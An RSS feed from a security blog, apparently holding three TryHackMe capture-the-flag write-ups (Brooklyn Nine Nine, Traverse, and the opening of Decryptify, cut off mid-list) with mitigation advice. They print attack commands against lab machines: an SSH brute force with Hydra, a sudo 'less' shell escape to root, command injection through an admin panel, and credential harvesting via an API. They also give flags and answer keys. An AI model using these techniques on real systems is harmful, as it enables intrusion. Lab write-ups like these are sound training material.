<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>WebExploitation on Alexander Roca</title><link>https://alexanderroca.dev/tags/webexploitation/</link><description>Recent content in WebExploitation on Alexander Roca</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Wed, 03 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://alexanderroca.dev/tags/webexploitation/index.xml" rel="self" type="application/rss+xml"/><item><title>Brooklyn Nine Nine Write-up</title><link>https://alexanderroca.dev/tactics/brooklyn-nine-nine-write-up/</link><pubDate>Wed, 20 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/brooklyn-nine-nine-write-up/</guid><description>Web server to be exploited. The main objective is to discover two flags, one from the user and the other from the root user.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/brooklynninenine">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Easy<br>
<strong>Tags:</strong> CTF, Web Exploitation, Privilege Escalation, Steganography<br>
<strong>Target IP:</strong> <code>10.114.158.7</code></p>
<h1 id="objective">Objective</h1>
<p>Exploit a vulnerable web server to discover two flags, one from the user and the other from the root user.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<h2 id="initial-access">Initial Access</h2>
<p>The challenge begins by accessing the web service via the target IP: <code>http://10.114.158.7</code>
<img alt="1" loading="lazy" src="/images/tactics/brooklyn99/1.png"></p>
<p>Upon visiting the homepage, inspecting the <strong>Page Source</strong> reveals a critical comment exposing a relevant hint that mentions <em>steganography</em>.
<img alt="2" loading="lazy" src="/images/tactics/brooklyn99/2.png"></p>
<blockquote>
<p><strong>Steganography</strong>: the practice of representing information within another message or physical object, in such a manner that the presence of the concealed information would not be evident to an unsuspecting person&rsquo;s examination.</p>
</blockquote>
<p>There is a potential hidden content in the image from the main page.</p>
<h2 id="scanning-services">Scanning Services</h2>
<p>Making a quick scan of the web would be useful to get more context of our scenario and to verify which services are available using <code>nmap http://10.114.158.7</code></p>
<p><strong>Discovered services:</strong>
<img alt="3" loading="lazy" src="/images/tactics/brooklyn99/3.png"></p>
<ul>
<li><code>ftp</code></li>
<li><code>ssh</code></li>
<li><code>http</code></li>
</ul>
<h1 id="exploitation">Exploitation</h1>
<h2 id="credential-discovery">Credential Discovery</h2>
<p>Accessing through <code>ftp</code> service firstly verifying if the <code>anonymous</code> user is available to execute <code>ftp anonymous@10.114.158.7</code> where usually it does not require any password to login.
<img alt="4" loading="lazy" src="/images/tactics/brooklyn99/4.png"></p>
<p>The anonymous user is enabled. Exploring if there is any relevant file by executing <code>ls</code>, there is a relevant instance called <code>note_to_jake.txt</code>
<img alt="5" loading="lazy" src="/images/tactics/brooklyn99/5.png"></p>
<p>Getting the file into the local machine by using <code>get note_to_jake.txt</code>
<img alt="6" loading="lazy" src="/images/tactics/brooklyn99/6.png"></p>
<p>Following the command <code>cat note_to_jake.txt</code> in our local machine to read the content of the file.
<img alt="7" loading="lazy" src="/images/tactics/brooklyn99/7.png"></p>
<p>Looks like a potential user to log in within <code>ssh</code> service is <strong>jake</strong> and his password is weak, therefore a brute-force it might be quick to guess it.
Using <em>Hydra</em>, <code>hydra -V -l jake -P /usr/share/wordlists/rockyou.txt 10.114.158.7 ssh</code>
<img alt="8" loading="lazy" src="/images/tactics/brooklyn99/8.png"></p>
<p>Jake&rsquo;s password has been guessed (<strong>987654321</strong>). Let&rsquo;s proceed by impersonating Jake&rsquo;s <code>ssh</code> session, <code>ssh jake@10.114.158.7</code>
<img alt="9" loading="lazy" src="/images/tactics/brooklyn99/9.png"></p>
<h3 id="alternative-credential-discovery">Alternative Credential Discovery</h3>
<p>Downloading the suspicious image that in the page source mentions <em>steganography</em>.
Extracting detailed metadata from the image using the command <code>exiftool</code>.</p>
<p>There was nothing relevant. After a quick google search an interesting command <code>steghide</code> was found, <code>steghide extract -sf brooklyn99.jpg</code>
<img alt="17" loading="lazy" src="/images/tactics/brooklyn99/17.png"></p>
<p>It contains a passphrase. It could be brute forced, therefore, after another quick google search if there is a way to make a brute force attack into an image that hides information. Command<code>stegcracker</code> was found, <code>stegcracker brooklyn99.jpg /usr/share/wordlists/rockyou.txt</code>
<img alt="18" loading="lazy" src="/images/tactics/brooklyn99/18.png"></p>
<p>Image has been cracked and a new result file has created, <code>cat brooklyn99.jpg.out</code>
<img alt="19" loading="lazy" src="/images/tactics/brooklyn99/19.png"></p>
<p>In this path <strong>Holt</strong>&rsquo;s password (<strong>fluffydog12@ninenine</strong>) has been discovered instead of <strong>Jake</strong>. Logging as Holt, <code>ssh holt@10.114.158.7</code>
<img alt="20" loading="lazy" src="/images/tactics/brooklyn99/20.png"></p>
<h2 id="command-execution--privilege-escalation">Command Execution &amp; Privilege Escalation</h2>
<p>Once logged in as <code>jake</code>, the common corroboration of the following command brings more context of the session: <code>pwd</code> and <code>whoami</code></p>
<h3 id="step-1-environment-check-jake">Step 1: Environment Check (Jake)</h3>
<p>Executing basic commands to understand the environment:</p>
<ul>
<li><code>whoami</code> → Returns current user.</li>
<li><code>pwd</code> → Returns current working directory.
<img alt="10" loading="lazy" src="/images/tactics/brooklyn99/10.png">
<img alt="15" loading="lazy" src="/images/tactics/brooklyn99/15.png"></li>
</ul>
<h3 id="step-2-finding-the-user-flag">Step 2: Finding the User Flag</h3>
<p>After exploring within Jake&rsquo;s session there is an interesting file.
<img alt="11" loading="lazy" src="/images/tactics/brooklyn99/11.png"></p>
<p>Looks like it is a hash value (<strong>ee11cbb19052e40b07aac0ca060c23ee</strong>), could be <strong>Holt</strong>s hash password, but let&rsquo;s try if it is the user flag.</p>
<blockquote>
<p><strong>User flag</strong>: <code>ee11cbb19052e40b07aac0ca060c23ee</code></p>
</blockquote>
<h3 id="alternative-step-1-finding-the-user-flag-holt">Alternative Step 1: Finding the User Flag (Holt)</h3>
<p>Proceed by extracting the user flag, <code>ls</code> and <code>cat user.txt</code>
<img alt="21" loading="lazy" src="/images/tactics/brooklyn99/21.png"></p>
<p>We got the same user flag <code>ee11cbb19052e40b07aac0ca060c23ee</code></p>
<blockquote>
<p><strong>User flag</strong>: <code>ee11cbb19052e40b07aac0ca060c23ee</code></p>
</blockquote>
<h3 id="step-3-privilege-escalation">Step 3: Privilege Escalation</h3>
<p>After extracting the user flag, the remaining flag is the root user. Verifying the current session privileges using <code>sudo -l</code>
<img alt="12" loading="lazy" src="/images/tactics/brooklyn99/12.png"></p>
<p>After knowing that the command <code>less</code> can be executed with admin privileges it is time to explore exploits by looking into <a href="https://gtfobins.org/">GTFOBins</a> to accomplish the privilege escalation.
<img alt="13" loading="lazy" src="/images/tactics/brooklyn99/13.png"></p>
<p>Replicating the steps by executing first <code>sudo less /etc/hosts</code> followed afterwards <code>!/bin/sh</code> and verify that we are actually the <em>root</em> user.
<img alt="14" loading="lazy" src="/images/tactics/brooklyn99/14.png"></p>
<h3 id="step-4-finding-the-root-flag">Step 4: Finding the Root Flag</h3>
<p>Navigating into the <code>root</code> folder and reading the text file using <code>cat root.txt</code>
<img alt="15" loading="lazy" src="/images/tactics/brooklyn99/15.png"></p>
<blockquote>
<p><strong>Root flag</strong>: <code>63a9f0ea7bb98050796b649e85481845</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By scanning the IP, finding credentials via <code>ftp</code> service and steganography techniques, and exploiting a vulnerable shell with <code>sudo</code> privileges for a specific command to escalate privileges to become the root user, we successfully retrieved both flags.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Secure Coding Practices</strong>: remove all hardcoded credentials and internal paths from source code comments before deployment. Use automated scanning tools to detect secrets in code repositories.</li>
<li><strong>Least Privilege Principles</strong>: the <code>ssh</code> service should run with the minimum necessary permissions. Specifically, the user running in the service should <strong>not</strong> have <code>sudo</code> access, especially with <code>NOPASSWD</code> privileges.</li>
<li><strong>Hardened Password Policy</strong>: enforce the usage of complex password to avoid a feasible brute force attack and restrict the amount of attempts to log in.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>User flag</strong>: <code>ee11cbb19052e40b07aac0ca060c23ee</code></li>
<li><strong>Root flag</strong>: <code>63a9f0ea7bb98050796b649e85481845</code></li>
</ol>
]]></content:encoded></item><item><title>Traverse Write-up</title><link>https://alexanderroca.dev/tactics/traverse/</link><pubDate>Tue, 26 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/traverse/</guid><description>You are Bob, a security engineer working with the DevOps team on a tourism web application. After moving the site to production, the team noticed it was being hacked. The objective is to identify the exploited vulnerabilities, retrieve the flags, and restore the website.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/traverse">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Easy<br>
<strong>Tags:</strong> CTF, Web Exploitation, Privilege Escalation<br>
<strong>Target IP:</strong> <code>10.113.133.17</code></p>
<h1 id="objective">Objective</h1>
<p>Act as Bob, a security engineer, to identify the vulnerabilities exploited on the tourism website in the production environment, retrieve the hidden flags, and restore the website to its original state.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<p>The challenge begins by accessing the web service via the target IP: <code>http://10.113.133.17</code>
<img alt="1" loading="lazy" src="/images/tactics/traverse/1.png"></p>
<blockquote>
<p><strong>Minified Javascript</strong>: the process of removing unnecessary characters from JavaScript code, such as whitespace, comments, and line breaks, without changing its functionality.</p>
</blockquote>
<p>By mentioning &ldquo;minified&rdquo; it means that the JavaScript code was modified. Inspecting the <strong>Page Source</strong> reveals several critical clues:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- Rest PHP code and html content --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Tourism Website&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/tailwind.min.js&#39;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt; <span style="color:#75715e">&lt;!-- THIS IS OFFICIAL FILE - DO NOT CHANGE IT --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;custom.min.js&#39;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt; <span style="color:#75715e">&lt;!-- THIS IS CUSTOM JS FILE--&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/style.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- Navigation Bar --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">nav</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;bg-gray-900 text-white p-6&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;flex justify-between items-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-lg font-bold&#34;</span>&gt;Tourism MHT &lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">ul</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;flex items-center gap-5&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	  <span style="color:#75715e">&lt;!--  &lt;li&gt;&lt;a href=&#34;https://alexanderroca.dev/img&#34; class=&#34;hover:text-gray-300&#34;&gt;Logs&lt;/a&gt;&lt;/li&gt;  Please keep all images in this folder --&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">&lt;!--  &lt;li&gt;&lt;a href=&#34;./logs&#34; class=&#34;hover:text-gray-300&#34;&gt;Logs&lt;/a&gt;&lt;/li&gt;  DevOps team to check and remove it later on --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>              
</span></span><span style="display:flex;"><span>      &lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">nav</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- Main Content --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">main</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34; mx-auto py-8  h-[80vh] flex items-center justify-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;rounded overflow-hidden shadow-lg bg-white  p-8 flex &#34;</span>&gt;
</span></span><span style="display:flex;"><span>		        &lt;<span style="color:#f92672">h2</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-gray-700 text-3xl py-6&#34;</span>&gt; FINALLY HACKED !!! I HATE MINIFIED JAVASCRIPT&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>	    &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">main</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- Footer --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">footer</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;bg-gray-900 text-white flex items-center justify-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-center p-4&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">p</span>&gt;&amp;copy; 2023 Tourism.mht. All rights reserved.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">footer</span>&gt;&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>It mentions <strong>PHP</strong> at the top of the source code.
Moreover, there are relevant comments:</p>
<ul>
<li><code>custom.min.js</code>: Custom JS file</li>
<li><code>/img</code>: Keeps all the images</li>
<li><code>./logs</code>: To check logs and remove later for DevOps</li>
</ul>
<h2 id="service-analysis">Service Analysis</h2>
<p>Inspecting the <em>Network</em> tab in browser development tools reveals a <code>GET</code> request to <code>custom.min.js</code>
<img alt="2" loading="lazy" src="/images/tactics/traverse/10.png"></p>
<p>Downloading and examining the file reveals the content is encoded in <code>Hexadecimal</code> (<strong>hex</strong>)
<img alt="3" loading="lazy" src="/images/tactics/traverse/11.png"></p>
<blockquote>
<p><strong>What type of encoding is used by the hackers to obfuscate the JavaScript file?</strong> <code>hex</code></p>
</blockquote>
<p>Using <strong>CyberChef</strong> to decode the hex string reveals the hidden message <code>DIRECTORY LISTING IS THE ONLY WAY</code>
<img alt="4.png" loading="lazy" src="/images/tactics/traverse/12.png"></p>
<blockquote>
<p><strong>What is the flag value after deobfuscating the file?</strong> <code>DIRECTORY LISTING IS THE ONLY WAY</code></p>
</blockquote>
<h2 id="directory-enumeration">Directory Enumeration</h2>
<p>Following the hints from the source code comments:</p>
<h3 id="1-image-directory-img">1. Image Directory (<code>/img</code>)</h3>
<p>Visiting <code>http://10.113.133.17/img</code> reveals an <strong>Apache server</strong> running on <strong>Ubuntu</strong>. No immediate flags are found in the images.
<img alt="5.png" loading="lazy" src="/images/tactics/traverse/2.png"></p>
<h3 id="2-logs-directory-logs">2. Logs Directory (<code>/logs</code>)</h3>
<p>Visiting <code>http://10.113.133.17/logs</code> reveals a file named <code>email_dump.txt</code>
<img alt="6.png" loading="lazy" src="/images/tactics/traverse/3.png"></p>
<blockquote>
<p><strong>What is the name of the file containing email dumps?</strong> <code>email_dump.txt</code></p>
</blockquote>
<p>Reading the content of <code>email_dump.txt</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>From: Bob &lt;bob@tourism.mht&gt;
</span></span><span style="display:flex;"><span>To: Mark &lt;mark@tourism.mht&gt;
</span></span><span style="display:flex;"><span>Subject: API Credentials
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hey Mark,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Sorry I had to rush earlier for the holidays, but I have created the directory for you with all the required information for the API.
</span></span><span style="display:flex;"><span>You loved SSDLC so much, I named the API folder under the name of the first phase of SSDLC.
</span></span><span style="display:flex;"><span>This page is password protected and can only be opened through the key. THM{100100111}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>See ya after the holidays
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Bob.
</span></span></code></pre></div><p>The email mentions the API folder is named after the <strong>first phase of SSDLC</strong>. The first phase is <strong>Planning</strong>.</p>
<blockquote>
<p><strong>The logs folder contains email logs and has a message for the software team lead. What is the name of the directory that Bob has created?</strong> <code>Planning</code></p>
</blockquote>
<p>The email also provides the password/key: <code>THM{100100111}</code></p>
<blockquote>
<p><strong>What is the key file for opening the directory that Bob has created for Mark?</strong> <code>THM{100100111}</code></p>
</blockquote>
<h1 id="exploitation">Exploitation</h1>
<h2 id="credential-discovery--api-abuse">Credential Discovery &amp; API Abuse</h2>
<h3 id="step-1-accessing-the-planning-directory">Step 1: Accessing the Planning Directory</h3>
<p>Visiting <code>http://10.113.133.17/planning</code> requires a password. Entering the key <code>THM{100100111}</code> grants access.
<img alt="7.png" loading="lazy" src="/images/tactics/traverse/4.png"></p>
<h3 id="step-2-enumerating-users">Step 2: Enumerating Users</h3>
<p>Inside, we find instructions for an API endpoint: <code>GET http://MACHINE_IP/api/?customer_id=1</code></p>
<p>The objective is to find specific user details via the API.
<img alt="8.png" loading="lazy" src="/images/tactics/traverse/5.png"></p>
<p><strong>Finding User ID 5</strong>: Calling <code>http://10.113.133.17/api/?customer_id=5</code> returns information for a client:
<img alt="9.png" loading="lazy" src="/images/tactics/traverse/6.png"></p>
<p>There is an information from the customer <strong>id=5</strong>, where the email is <a href="mailto:john@traverse.com">john@traverse.com</a> and it is a <strong>client</strong> user.</p>
<blockquote>
<p><strong>What is the email address for ID 5 using the leaked API endpoint?</strong> <code>john@traverse.com</code></p>
</blockquote>
<p><strong>Finding the Admin User</strong>: Iterating through IDs reveals that <code>id=3</code> belongs to an administrator. Calling: <code>http://10.113.133.17/api/?customer_id=3</code> reveals:
<img alt="10.png" loading="lazy" src="/images/tactics/traverse/7.png"></p>
<blockquote>
<p><strong>What is the ID for the user with admin privileges?</strong> <code>3</code></p>
</blockquote>
<p>It displays the <strong>endpoint</strong> to get access <code>/realadmin</code> and it reveals an email <code>realadmin@traverse.com</code>, name <code>admin</code> and password <code>admin_key!!!</code></p>
<blockquote>
<p><strong>What is the endpoint for logging in as the <code>admin</code>? Mention the last endpoint instead of the URL.</strong> <code>/realadmin</code></p>
</blockquote>
<h3 id="step-3-gaining-admin-access">Step 3: Gaining Admin Access</h3>
<p>Navigating to <code>http://10.113.133.17/realadmin</code>:
<img alt="11.png" loading="lazy" src="/images/tactics/traverse/8.png"></p>
<p>Logging in with the credentials found (<code>realadmin@traverse.com / admin_key!!!</code>) grants access to the admin panel.
<img alt="12.png" loading="lazy" src="/images/tactics/traverse/9.png"></p>
<h3 id="step-4-environment-check">Step 4: Environment Check</h3>
<p>The admin panel offers options to execute system commands.</p>
<ul>
<li><code>System Owner</code>: output <code>www-data</code> (equivalent to <code>whoami</code>)</li>
<li><code>Current Directory</code> output <code>/var/www/html/realadmin</code> (equivalent to <code>pwd</code>)</li>
</ul>
<p>Using the browser&rsquo;s <strong>Network</strong> tab to intercept the <code>POST</code> request, we can modify the payload to execute arbitrary commands.
<img alt="13.png" loading="lazy" src="/images/tactics/traverse/13.png"></p>
<p>Sending <code>commands=ls -lsa</code> reveals the directory contents.
<img alt="14.png" loading="lazy" src="/images/tactics/traverse/14.png"></p>
<p>Two critical files are identified:</p>
<ul>
<li><code>thm_shell.php</code>: likely the web shell used by the attacker.</li>
</ul>
<blockquote>
<p><strong>Can you find the name of the web shell that the attacker has uploaded?</strong> <code>thm_shell.php</code></p>
</blockquote>
<ul>
<li><code>renamed_file_manager.php</code>: a renamed file manager tool</li>
</ul>
<blockquote>
<p><strong>What is the name of the file renamed by the attacker for managing the web server?</strong> <code>renamed_file_manager.php</code></p>
</blockquote>
<p>A password for the file manager is also displayed in the output:<code>THM{10101}</code></p>
<h3 id="step-5-restoring-the-website">Step 5: Restoring the Website</h3>
<p>Accessing <code>http://10.113.133.17/realadmin/renamed_file_manager.php</code> with the password<code>THM{10101}</code> opens the file manager.
<img alt="15.png" loading="lazy" src="/images/tactics/traverse/15.png"></p>
<p>Locating the <code>index.php</code>, we observe it has been modified to display <strong>&ldquo;FINALLY HACKED&rdquo;</strong> message.
<img alt="16.png" loading="lazy" src="/images/tactics/traverse/16.png"></p>
<p>Editing the file to remove the malicious message restores the site.
<img alt="17.png" loading="lazy" src="/images/tactics/traverse/17.png"></p>
<p>The final flag of this room is in the file: <code>THM{WEBSITE_RESTORED}</code></p>
<blockquote>
<p><strong>Can you use the file manager to restore the original website by removing the &ldquo;<code>FINALLY HACKED</code>&rdquo; message? What is the flag value after restoring the main website?</strong> <code>THM{WEBSITE_RESTORED}</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By analyzing the source code for hidden comments and obfuscated JavaScript, we identified the encoding method and a hint for directory listing. Leveraging directory enumeration, we found an email dump that revealed the naming convention for a protected directory and the password to access it. Inside, we discovered an insecure API endpoint that allowed us to enumerate users and harvest admin credentials. Finally, using the admin panel to execute commands, we identified the attacker&rsquo;s web shells, accessed the file manager, and restored the compromised website.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Code Review &amp; Sanitization</strong>: remove all hardcoded credentials, internal paths, and debug messages from source code before deployment. Avoid leaving comments that hint at hidden directories.</li>
<li><strong>Disable Directory Listing</strong>: configure the web server (Apache/Nginx) to disable directory listing (<code>Options -Indexes</code>) to prevent attackers from browsing file structures.</li>
<li><strong>Secure API Endpoints</strong>: implement proper authentication and authorization checks on all API endpoints. Do not expose sensitive user data (emails, passwords) via unauthenticated or poorly secured GET requests.</li>
<li><strong>Input Validation &amp; Sandboxing</strong>: restrict the ability of web applications to execute system commands. If command execution is necessary, ensure strict input validation and sandboxing to prevent arbitrary code execution.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>What type of encoding is used by the hackers to obfuscate the JavaScript file?</strong> <code>hex</code></li>
<li><strong>What is the flag value after deobfuscating the file?</strong> <code>DIRECTORY LISTING IS THE ONLY WAY</code></li>
<li><strong>What is the name of the file containing email dumps?</strong> <code>email_dump.txt</code></li>
<li><strong>What is the name of the directory that Bob has created?</strong> <code>Planning</code></li>
<li><strong>What is the key file for opening the directory that Bob has created for Mark?</strong> <code>THM{100100111}</code></li>
<li><strong>What is the email address for ID 5 using the leaked API endpoint?</strong> <code>john@traverse.com</code></li>
<li><strong>What is the ID for the user with admin privileges?</strong> <code>3</code></li>
<li><strong>What is the endpoint for logging in as the <code>admin</code>? Mention the last endpoint instead of the URL.</strong> <code>/realadmin</code></li>
<li><strong>Can you find the name of the web shell that the attacker has uploaded?</strong> <code>thm_shell.php</code></li>
<li><strong>What is the name of the file renamed by the attacker for managing the web server?</strong> <code>renamed_file_manager.php</code></li>
<li><strong>Can you use the file manager to restore the original website by removing the &ldquo;<code>FINALLY HACKED</code>&rdquo; message? What is the flag value after restoring the main website?</strong> <code>THM{WEBSITE_RESTORED}</code></li>
</ol>
]]></content:encoded></item><item><title>Decryptify Write-up</title><link>https://alexanderroca.dev/tactics/decryptify-write-up/</link><pubDate>Wed, 03 Jun 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/decryptify-write-up/</guid><description>The main objective is to exploit a cryptographically insecure invitation code generation system, then leverage a padding oracle vulnerability in the DES/CBC encryption to achieve remote code execution on the target server.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/decryptify">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Medium
<strong>Tags:</strong> CTF, Web Exploitation
<strong>Target IP:</strong> <code>10.114.184.31</code></p>
<h1 id="objective">Objective</h1>
<p>The main objective is to exploit a weak cryptographic implementation to gain unauthorized access to the system, then leverage a padding oracle vulnerability to achieve remote code execution and retrieve the flags.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<h2 id="scanning-services">Scanning Services</h2>
<p>Making a quick scan of the target to identify open ports and services using <code>nmap</code>. Executing a <strong>default scan</strong>, <code>nmap 10.114.184.31</code>
<img alt="1" loading="lazy" src="/images/tactics/decryptify/1.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
</ul>
<p>Based on the result it might be interesting to scan even deeper using <code>nmap -p- -sC -sV -T4 10.114.184.31</code>
<img alt="2" loading="lazy" src="/images/tactics/decryptify/2.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
<li><code>http</code></li>
</ul>
<p>Exploring the HTTP service: <code>http://10.114.184.31:1337</code>
<img alt="3" loading="lazy" src="/images/tactics/decryptify/3.png"></p>
<p>There are 3 interesting options to look further:</p>
<ul>
<li><code>Login</code></li>
<li><code>Login with Invite Code</code></li>
<li><code>API Documentation</code></li>
</ul>
<h2 id="directory-scan">Directory Scan</h2>
<p>Looking to extract more possible paths using <code>gobuster</code>. Starting with a basic directory scan <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>
<img alt="4" loading="lazy" src="/images/tactics/decryptify/4.png"></p>
<p>Output:</p>
<ul>
<li><code>/css</code></li>
<li><code>/js</code></li>
<li><code>/logs</code></li>
<li><code>/phpmyadmin</code></li>
</ul>
<h3 id="extended-directory-scan-with-extensions">Extended Directory Scan with Extensions</h3>
<p>Looking to execute a directory scan with extensions <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip</code>
<img alt="5" loading="lazy" src="/images/tactics/decryptify/7.png"></p>
<p>Output:</p>
<ul>
<li><code>/api.php</code></li>
<li><code>/dashboard.php</code></li>
</ul>
<h2 id="log-analysis">Log Analysis</h2>
<p>Investigating <code>/logs</code> endpoints <code>http://10.114.184.31:1337/logs</code>
<img alt="6" loading="lazy" src="/images/tactics/decryptify/5.png"></p>
<p>It contains a log file called <code>app.log</code>
<img alt="7" loading="lazy" src="/images/tactics/decryptify/6.png"></p>
<p>The relevant information to extract are:</p>
<ul>
